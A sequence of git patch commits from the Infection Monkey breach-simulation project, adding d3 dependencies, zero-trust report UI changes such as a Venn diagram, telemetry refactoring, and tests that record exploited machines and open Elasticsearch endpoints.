"sha512-NUgeo9G+ENQCQ1LsRr2qJg3MQ4DJvxcDNCiohdJGHt5gRhBW6orIB5m5FJ9kK3HNL8g9F4ERVoBzcEwQBfXWVA==" + }, + "d3-random": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-1.1.2.tgz", + "integrity": "sha512-6AK5BNpIFqP+cx/sreKzNjWbwZQCSUatxq+pPRmFIQaWuoD+NrbVWw7YWpHiXpCQ/NanKdtGDuB+VQcZDaEmYQ==" + }, + "d3-scale": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-2.2.2.tgz", + "integrity": "sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==", + "requires": { + "d3-array": "^1.2.0", + "d3-collection": "1", + "d3-format": "1", + "d3-interpolate": "1", + "d3-time": "1", + "d3-time-format": "2" + } + }, + "d3-scale-chromatic": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-1.5.0.tgz", + "integrity": "sha512-ACcL46DYImpRFMBcpk9HhtIyC7bTBR4fNOPxwVSl0LfulDAwyiHyPOTqcDG1+t5d4P9W7t/2NAuWu59aKko/cg==", + "requires": { + "d3-color": "1", + "d3-interpolate": "1" + } + }, + "d3-selection": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-1.4.0.tgz", + "integrity": "sha512-EYVwBxQGEjLCKF2pJ4+yrErskDnz5v403qvAid96cNdCMr8rmCYfY5RGzWz24mdIbxmDf6/4EAH+K9xperD5jg==" + }, + "d3-shape": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.5.tgz", + "integrity": "sha512-VKazVR3phgD+MUCldapHD7P9kcrvPcexeX/PkMJmkUov4JM8IxsSg1DvbYoYich9AtdTsa5nNk2++ImPiDiSxg==", + "requires": { + "d3-path": "1" + } + }, + "d3-time": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-1.0.11.tgz", + "integrity": "sha512-Z3wpvhPLW4vEScGeIMUckDW7+3hWKOQfAWg/U7PlWBnQmeKQ00gCUsTtWSYulrKNA7ta8hJ+xXc6MHrMuITwEw==" + }, + "d3-time-format": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.1.3.tgz", + "integrity": "sha512-6k0a2rZryzGm5Ihx+aFMuO1GgelgIz+7HhB4PH4OEndD5q2zGn1mDfRdNrulspOfR6JXkb2sThhDK41CSK85QA==", + "requires": { + "d3-time": "1" + } + }, + "d3-timer": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-1.0.9.tgz", + "integrity": "sha512-rT34J5HnQUHhcLvhSB9GjCkN0Ddd5Y8nCwDBG2u6wQEeYxT/Lf51fTFFkldeib/sE/J0clIe0pnCfs6g/lRbyg==" + }, + "d3-transition": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-1.2.0.tgz", + "integrity": "sha512-VJ7cmX/FPIPJYuaL2r1o1EMHLttvoIuZhhuAlRoOxDzogV8iQS6jYulDm3xEU3TqL80IZIhI551/ebmCMrkvhw==", + "requires": { + "d3-color": "1", + "d3-dispatch": "1", + "d3-ease": "1", + "d3-interpolate": "1", + "d3-selection": "^1.1.0", + "d3-timer": "1" + } + }, + "d3-voronoi": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/d3-voronoi/-/d3-voronoi-1.1.4.tgz", + "integrity": "sha512-dArJ32hchFsrQ8uMiTBLq256MpnZjeuBtdHpaDlYuQyjU0CVzCJl/BVW+SkszaAeH95D/8gxqAhgx0ouAWAfRg==" + }, + "d3-zoom": { + "version": "1.8.3", + "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-1.8.3.tgz", + "integrity": "sha512-VoLXTK4wvy1a0JpH2Il+F2CiOhVu7VRXWF5M/LroMIh3/zBAC3WAt7QoIvPibOavVo20hN6/37vwAsdBejLyKQ==", + "requires": { + "d3-dispatch": "1", + "d3-drag": "1", + "d3-interpolate": "1", + "d3-selection": "1", + "d3-transition": "1" + } + }, "dashdash": { "version": "1.14.1", "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", @@ -8419,8 +8682,7 @@ "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "aproba": { "version": "1.2.0", @@ -8441,14 +8703,12 @@ "balanced-match": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" @@ -8463,20 +8723,17 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "core-util-is": { "version": "1.0.2", @@ -8593,8 +8850,7 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "ini": { "version": "1.3.5", @@ -8606,7 +8862,6 @@ "version": "1.0.0", "bundled": true, "dev": true, - "optional": true, "requires": { "number-is-nan": "^1.0.0" } @@ -8621,7 +8876,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "^1.1.7" } @@ -8629,14 +8883,12 @@ "minimist": { "version": "0.0.8", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "minipass": { "version": "2.2.4", "bundled": true, "dev": true, - "optional": true, "requires": { "safe-buffer": "^5.1.1", "yallist": "^3.0.0" @@ -8655,7 +8907,6 @@ "version": "0.5.1", "bundled": true, "dev": true, - "optional": true, "requires": { "minimist": "0.0.8" } @@ -8736,8 +8987,7 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "object-assign": { "version": "4.1.1", @@ -8749,7 +8999,6 @@ "version": "1.4.0", "bundled": true, "dev": true, - "optional": true, "requires": { "wrappy": "1" } @@ -8835,8 +9084,7 @@ "safe-buffer": { "version": "5.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "safer-buffer": { "version": "2.1.2", @@ -8872,7 +9120,6 @@ "version": "1.0.2", "bundled": true, "dev": true, - "optional": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -8892,7 +9139,6 @@ "version": "3.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "ansi-regex": "^2.0.0" } @@ -8936,14 +9182,12 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "yallist": { "version": "3.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true } } }, @@ -15091,6 +15335,11 @@ "aproba": "^1.1.1" } }, + "rw": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/rw/-/rw-1.3.3.tgz", + "integrity": "sha1-P4Yt+pGrdmsUiF700BEkv9oHT7Q=" + }, "rxjs": { "version": "6.3.3", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.3.3.tgz", @@ -19041,6 +19290,7 @@ "version": "1.1.11", "bundled": true, "dev": true, + "optional": true, "requires": { "balanced-match": "1.0.0", "concat-map": "0.0.1" @@ -19209,6 +19459,7 @@ "version": "3.0.4", "bundled": true, "dev": true, + "optional": true, "requires": { "brace-expansion": "^1.1.7" } diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 1a60ee27c..872a22bdc 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -70,6 +70,7 @@ "bootstrap": "3.4.1", "classnames": "^2.2.6", "core-js": "^2.5.7", + "d3": "^5.11.0", "downloadjs": "^1.4.7", "fetch": "^1.1.0", "file-saver": "^2.0.2", diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js index e2b16c91b..f772e0652 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js @@ -1,7 +1,7 @@ import React, {Component} from "react"; import PillarLabel from "./PillarLabel"; -import PaginatedTable from "../common/PaginatedTable"; import * as PropTypes from "prop-types"; +import ResponsiveVennDiagram from "./VennDiagram"; const columns = [ { @@ -20,13 +20,8 @@ const columns = [ class PillarOverview extends Component { render() { - const data = this.props.grades.map((grade) => { - const newGrade = JSON.parse(JSON.stringify(grade)); - newGrade.pillar = {name: grade.pillar, status: this.props.pillarsToStatuses[grade.pillar]}; - return newGrade; - }); return (
    - +
    ); } } @@ -35,5 +30,4 @@ export default PillarOverview; PillarOverview.propTypes = { grades: PropTypes.array, - status: PropTypes.string, }; From b9a5ac1fe4b3822bb340e98a7b93df0fabf1191d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 22 Aug 2019 14:04:45 +0300 Subject: [PATCH 134/276] Refactored: scripting telemetry is send as a string, without using UsageEnum --- monkey/infection_monkey/post_breach/pba.py | 19 ++++++++++++------- .../telemetry/attack/t1064_telem.py | 14 +++++++++++--- .../attack/technique_reports/T1064.py | 6 ++++-- 3 files changed, 27 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index e3eb533ae..86addd009 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -47,20 +47,25 @@ class PBA(object): """ exec_funct = self._execute_default result = exec_funct() - if self.scripts_were_used(result): - T1064Telem(ScanStatus.USED, "Scripts used to execute %s post breach action." % self.name).send() + if self.scripts_were_used_successfully(result): + T1064Telem(ScanStatus.USED, "Scripts were used to execute %s post breach action." % self.name).send() PostBreachTelem(self, result).send() - def scripts_were_used(self, pba_execution_result): + def is_script(self): """ - Determines if scripts were used to execute PBA + Determines if PBA is a script (PBA might be a single command) + :return: True if PBA is a script(series of OS commands) + """ + return isinstance(self.command, list) and len(self.command) > 1 + + def scripts_were_used_successfully(self, pba_execution_result): + """ + Determines if scripts were used to execute PBA and if they succeeded :param pba_execution_result: result of execution function. e.g. self._execute_default :return: True if scripts were used, False otherwise """ pba_execution_succeeded = pba_execution_result[1] - if pba_execution_succeeded and isinstance(self.command, list) and len(self.command) > 1: - return True - return False + return pba_execution_succeeded and self.is_script() def _execute_default(self): """ diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py index fcb3c0bff..efea27063 100644 --- a/monkey/infection_monkey/telemetry/attack/t1064_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py @@ -1,11 +1,19 @@ -from infection_monkey.telemetry.attack.usage_telem import UsageTelem +from infection_monkey.telemetry.attack.usage_telem import AttackTelem -class T1064Telem(UsageTelem): +class T1064Telem(AttackTelem): def __init__(self, status, usage): """ T1064 telemetry. :param status: ScanStatus of technique :param usage: Usage string """ - super(T1064Telem, self).__init__('T1064', status, usage) + super(T1064Telem, self).__init__('T1064', status) + self.usage = usage + + def get_data(self): + data = super(T1064Telem, self).get_data() + data.update({ + 'usage': self.usage + }) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py index 9137f99e4..0b1b05489 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -1,16 +1,18 @@ from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique +from monkey_island.cc.database import mongo __author__ = "VakarisZ" class T1064(UsageTechnique): tech_id = "T1064" - unscanned_msg = "Monkey didn't run scripts." + unscanned_msg = "Monkey didn't run scripts or tried to run and failed." scanned_msg = "" used_msg = "Monkey ran scripts on machines in the network." @staticmethod def get_report_data(): data = T1064.get_tech_base_data() - data.update({'scripts': T1064.get_usage_data()}) + script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query())) + data.update({'scripts': script_usages}) return data From bd97c965f1ee6846d9c13d99deba0fde0e1f8975 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 22 Aug 2019 14:39:40 +0300 Subject: [PATCH 135/276] Fixed another state bug in ZT report using deep copy --- .../components/report-components/zerotrust/FindingsTable.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index 18160846a..9d706b3f2 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -32,8 +32,8 @@ const columns = [ class FindingsTable extends Component { render() { const data = this.props.findings.map((finding) => { - const newFinding = finding; - newFinding.pillars = finding.pillars.map((pillar) => { + const newFinding = JSON.parse(JSON.stringify(finding)); + newFinding.pillars = newFinding.pillars.map((pillar) => { return {name: pillar, status: this.props.pillarsToStatuses[pillar]} }); return newFinding; From bf417ab01dfe17f6f4ac8239a83f384aeafcde6e Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 22 Aug 2019 14:40:05 +0300 Subject: [PATCH 136/276] Added machine exploited ZT test --- monkey/common/data/zero_trust_consts.py | 2 +- .../services/telemetry/processing/exploit.py | 32 +++++++------ .../zero_trust_tests/machine_exploited.py | 46 +++++++++++++++++++ 3 files changed, 66 insertions(+), 14 deletions(-) create mode 100644 monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index a92e386fe..99b4f2a2c 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -91,7 +91,7 @@ TESTS_MAP = { TEST_EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_CONCLUSIVE: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.", - STATUS_INCONCLUSIVE: "Monkey tried exploiting endpoints. Check IDS/IPS logs to see activity recognized." + STATUS_POSITIVE: "Monkey didn't manage to exploit an endpoint." }, DIRECTIVE_KEY: DIRECTIVE_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 98ca76248..7464722f9 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -7,26 +7,18 @@ from monkey_island.cc.encryptor import encryptor from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry +from monkey_island.cc.services.telemetry.zero_trust_tests.machine_exploited import test_machine_exploited def process_exploit_telemetry(telemetry_json): edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) encrypt_exploit_creds(telemetry_json) - telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started']) - telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished']) + update_edge_info_with_new_exploit(edge, telemetry_json) + update_node_credentials_from_successful_attempts(edge, telemetry_json) + test_machine_exploited(telemetry_json) - new_exploit = copy.deepcopy(telemetry_json['data']) - - new_exploit.pop('machine') - new_exploit['timestamp'] = telemetry_json['timestamp'] - - mongo.db.edge.update( - {'_id': edge['_id']}, - {'$push': {'exploits': new_exploit}} - ) - if new_exploit['result']: - EdgeService.set_edge_exploited(edge) +def update_node_credentials_from_successful_attempts(edge, telemetry_json): for attempt in telemetry_json['data']['attempts']: if attempt['result']: found_creds = {'user': attempt['user']} @@ -36,6 +28,20 @@ def process_exploit_telemetry(telemetry_json): NodeService.add_credentials_to_node(edge['to'], found_creds) +def update_edge_info_with_new_exploit(edge, telemetry_json): + telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started']) + telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished']) + new_exploit = copy.deepcopy(telemetry_json['data']) + new_exploit.pop('machine') + new_exploit['timestamp'] = telemetry_json['timestamp'] + mongo.db.edge.update( + {'_id': edge['_id']}, + {'$push': {'exploits': new_exploit}} + ) + if new_exploit['result']: + EdgeService.set_edge_exploited(edge) + + def encrypt_exploit_creds(telemetry_json): attempts = telemetry_json['data']['attempts'] for i in range(len(attempts)): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py new file mode 100644 index 000000000..3a5f78bcb --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -0,0 +1,46 @@ +from common.data.zero_trust_consts import * +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding + + +def test_machine_exploited(telemetry_json): + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + events = [ + Event.create_event( + title="Exploit attempt", + message="Monkey on {} attempted to exploit {} using {}.".format( + current_monkey.hostname, + telemetry_json['data']['machine']['ip_addr'], + telemetry_json['data']['exploiter']), + event_type=EVENT_TYPE_MONKEY_NETWORK, + timestamp=telemetry_json['timestamp'] + ) + ] + + status = STATUS_POSITIVE + + if telemetry_json['data']['result']: + events.append( + Event.create_event( + title="Exploit success!", + message="Monkey on {} successfully exploited {} using {}.".format( + current_monkey.hostname, + telemetry_json['data']['machine']['ip_addr'], + telemetry_json['data']['exploiter']), + event_type=EVENT_TYPE_MONKEY_NETWORK, + timestamp=telemetry_json['timestamp']) + ) + status = STATUS_CONCLUSIVE + + Finding.save_finding( + test=TEST_MACHINE_EXPLOITED, + status=status, + events=events + ) + + Finding.save_finding( + test=TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=STATUS_INCONCLUSIVE, + events=events + ) From 20e282f5fb998a7495d63ad5d9f8623df966c8f4 Mon Sep 17 00:00:00 2001 From: vkuchinov Date: Thu, 22 Aug 2019 14:50:07 +0300 Subject: [PATCH 137/276] Update index.js [x] Z-Indices sorting on hover [x] Resize (viewBox solution] [x] Rule correction, have excluded 'Unexecuted' parameter from the sum for Rule #1 Still on my today's TODO list: [-] Still looking for an elegant solution to scrolling glitch. Yes, the easiest way is to hide tooltip on scrolling, but that's not cool [-] Need some coding refining --- .../zerotrust/VennDiagram/index.js | 61 +++++++++++-------- 1 file changed, 37 insertions(+), 24 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js index b221d4159..6e61261e6 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js @@ -134,7 +134,7 @@ UPDATED [20.08.2019] */ -const VENN_MIN_WIDTH = 256; +const VENN_MIN_WIDTH = '300px'; class ResponsiveVennDiagram extends React.Component { @@ -149,8 +149,8 @@ class ResponsiveVennDiagram extends React.Component { return ( -
    - +
    +
    ) } @@ -173,17 +173,19 @@ class VennDiagram extends React.Component{ this.state = { tooltip: { top: 0, left: 0, display: 'none', html: '' } } + this.width = this.height = 512, this.zOrder = []; + this.colors = ['#777777', '#D9534F', '#F0AD4E', '#5CB85C']; this.prefix = 'vennDiagram'; this.suffices = ['', '|tests are|conclusive', '|tests were|inconclusive', '|tests|performed']; - this.fontStyles = [{size: Math.max(9, this.props.width / 32), color: 'white'}, {size: Math.max(6, this.props.width / 52), color: 'black'}]; - this.offset = this.props.width / 16; + this.fontStyles = [{size: Math.max(9, this.width / 32), color: 'white'}, {size: Math.max(6, this.width / 52), color: 'black'}]; + this.offset = this.width / 16; - this.thirdWidth = this.props.width / 3; - this.sixthWidth = this.props.width / 6; - this.width2By7 = 2 * this.props.width / 7 - this.width1By11 = this.props.width / 11; - this.width1By28 = this.props.width / 28; + this.thirdWidth = this.width / 3; + this.sixthWidth = this.width / 6; + this.width2By7 = 2 * this.width / 7 + this.width1By11 = this.width / 11; + this.width1By28 = this.width / 28; this.toggle = false; @@ -207,8 +209,10 @@ class VennDiagram extends React.Component{ } - _onMouseMove(e) { + _onMouseMove(e) { + let self = this; + if(!this.toggle){ let hidden = 'none'; @@ -218,17 +222,22 @@ class VennDiagram extends React.Component{ e.stopPropagation(); document.querySelectorAll('circle, path').forEach((d_, i_) => { d_.setAttribute('opacity', 0.8)}); - + if(e.target.id.includes('Node')) { html = e.target.dataset.tooltip; this.divElement.style.cursor = 'pointer'; - hidden = 'block'; e.target.setAttribute('opacity', 1.0); + hidden = 'block'; e.target.setAttribute('opacity', 0.95); bcolor = e.target.getAttribute('fill'); + //set highest z-index + e.target.parentNode.parentNode.appendChild(e.target.parentNode); }else{ this.divElement.style.cursor = 'default'; + + //return z indices to default + Object.keys(this.layout).forEach(function(d_, i_){ document.querySelector('#' + self.prefix).appendChild(document.querySelector('#' + self.prefix + 'Node_' + i_).parentNode); }) } @@ -237,6 +246,13 @@ class VennDiagram extends React.Component{ } } + _onMouseLeave(e){ + + let hidden = 'none'; + + this.setState({target: null, tooltip: { target: null, bcolor: 'none', top: 0, left: 0, display: hidden, html: '' } }); + + } _onClick(e) { if(this.state.tooltip.target === e.target) { this.toggle = true; } else { this.toggle = false; } @@ -263,7 +279,7 @@ class VennDiagram extends React.Component{ this.props.pillarsGrades.forEach((d_, i_) => { - let params = omit('pillar', d_); + let params = omit('Unexpected', omit('pillar', d_)); let sum = Object.keys(params).reduce((sum_, key_) => sum_ + parseFloat(params[key_]||0), 0); let key = TypographicUtilities.removeAmpersand(d_.pillar); let html = self.buildTooltipHtmlContent(d_); @@ -302,8 +318,9 @@ class VennDiagram extends React.Component{ if(this.state.data === undefined) { return null; } else { - let { width, height } = this.props; - let translate = 'translate(' + width /2 + ',' + height/2 + ')'; + //equivalent to center translate (width/2, height/2) + let viewPortParameters = (-this.width / 2) + ' ' + (-this.height / 2) + ' ' + this.width + ' ' + this.height; + let translate = 'translate(' + this.width /2 + ',' + this.height/2 + ')'; let nodes = Object.values(this.layout).map((d_, i_) =>{ @@ -343,11 +360,9 @@ class VennDiagram extends React.Component{ return ( -
    this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)} onClick={this._onClick.bind(this)}> - - - {nodes} - +
    this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)} onMouseLeave={this._onMouseLeave.bind(this)} onClick={this._onClick.bind(this)}> + + {nodes}
    @@ -362,8 +377,6 @@ class VennDiagram extends React.Component{ VennDiagram.propTypes = { - pillarsGrades: PropTypes.array, - width: PropTypes.number, - height: PropTypes.number + pillarsGrades: PropTypes.array } \ No newline at end of file From 3fef55eefaf1b2fc6414a33b1db31257afee8cf2 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 22 Aug 2019 15:00:50 +0300 Subject: [PATCH 138/276] Now periodically updating the report. --- .../cc/ui/src/components/pages/ZeroTrustReportPage.js | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 2fe43c42e..989af82a8 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -25,7 +25,8 @@ class ZeroTrustReportPageComponent extends AuthComponent { } componentDidMount() { - this.updateMonkeysRunning().then(res => this.getZeroTrustReportFromServer(res)); + this.updatePageState(); + setInterval(this.updatePageState, 8000) } updateMonkeysRunning = () => { @@ -37,6 +38,10 @@ class ZeroTrustReportPageComponent extends AuthComponent { }); }; + updatePageState = () => { + this.updateMonkeysRunning().then(res => this.getZeroTrustReportFromServer(res)); + }; + render() { let content; if (this.state.runStarted) { From af8c7dc29fb1702a4a6c1b39e7ee223a8099fc1d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 22 Aug 2019 16:18:37 +0300 Subject: [PATCH 139/276] Added elasticsearch test --- .../zero_trust_tests/data_endpoints.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index 119871420..c7b0f5219 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -12,6 +12,7 @@ def test_open_data_endpoints(telemetry_json): services = telemetry_json["data"]["machine"]["services"] current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) found_http_server_status = STATUS_POSITIVE + found_elastic_search_server = STATUS_POSITIVE events = [ Event.create_event( @@ -41,6 +42,17 @@ def test_open_data_endpoints(telemetry_json): ), event_type=EVENT_TYPE_ISLAND )) + if service_name in 'elastic-search-9200': + found_elastic_search_server = STATUS_CONCLUSIVE + events.append(Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data) + ), + event_type=EVENT_TYPE_ISLAND + )) Finding.save_finding( test=TEST_DATA_ENDPOINT_HTTP, @@ -48,6 +60,12 @@ def test_open_data_endpoints(telemetry_json): events=events ) + Finding.save_finding( + test=TEST_DATA_ENDPOINT_ELASTIC, + status=found_elastic_search_server, + events=events + ) + Finding.save_finding( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, status=STATUS_INCONCLUSIVE, From 244be146bb3ceb6f733012a0ad4ab7dd936aa15b Mon Sep 17 00:00:00 2001 From: vkuchinov Date: Fri, 23 Aug 2019 02:41:00 +0300 Subject: [PATCH 140/276] Update VennDiagram/index.js [x] Scrolling issue. Since only window/document have 'scroll' event, the only option to fix tooltip issue on scrolling is just simply hide it. That works well if after scrolling the mouse pointer doesn't stay on any venn nodes. Otherwise, you have to move mouse for the tooltip. Theoretically, I could store hovered node coordinates and use them in _onScroll function to check if mouse is still on top one Venn nodes find window.pageYOffset difference. --- .../zerotrust/VennDiagram/index.js | 23 ++++++++++--------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js index 6e61261e6..de28fc012 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js @@ -52,7 +52,7 @@ UPDATED [20.08.2019] useLayoutEffect(() => { checkForDimensionsUpdate(); }, []); - window.addEventListener("resize", () => { clearInterval(movement_timer); movement_timer = setTimeout(checkForDimensionsUpdate, RESET_TIMEOUT); }); + window.addEventListener('resize', () => { clearInterval(movement_timer); movement_timer = setTimeout(checkForDimensionsUpdate, RESET_TIMEOUT); }); return ( @@ -200,12 +200,15 @@ class VennDiagram extends React.Component{ AutomationAndOrchestration: { inner: this.thirdWidth - this.width1By28 * 2, outer: this.thirdWidth - this.width1By28 } }; + + this._onScroll = this._onScroll.bind(this); } componentDidMount() { this.parseData(); + window.addEventListener('scroll', this._onScroll); } @@ -218,9 +221,7 @@ class VennDiagram extends React.Component{ let hidden = 'none'; let html = ''; let bcolor = '#DEDEDE'; - - e.stopPropagation(); - + document.querySelectorAll('circle, path').forEach((d_, i_) => { d_.setAttribute('opacity', 0.8)}); if(e.target.id.includes('Node')) { @@ -229,6 +230,7 @@ class VennDiagram extends React.Component{ this.divElement.style.cursor = 'pointer'; hidden = 'block'; e.target.setAttribute('opacity', 0.95); bcolor = e.target.getAttribute('fill'); + //set highest z-index e.target.parentNode.parentNode.appendChild(e.target.parentNode); @@ -245,14 +247,13 @@ class VennDiagram extends React.Component{ } } + _onScroll(e){ + + this.divElement.style.cursor = 'default'; + this.setState({target: e, tooltip: { target: null, bcolor: 'none', top: 0, left: 0, display: 'none', html: '' } }); - _onMouseLeave(e){ - - let hidden = 'none'; - - this.setState({target: null, tooltip: { target: null, bcolor: 'none', top: 0, left: 0, display: hidden, html: '' } }); - } + _onClick(e) { if(this.state.tooltip.target === e.target) { this.toggle = true; } else { this.toggle = false; } @@ -360,7 +361,7 @@ class VennDiagram extends React.Component{ return ( -
    this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)} onMouseLeave={this._onMouseLeave.bind(this)} onClick={this._onClick.bind(this)}> +
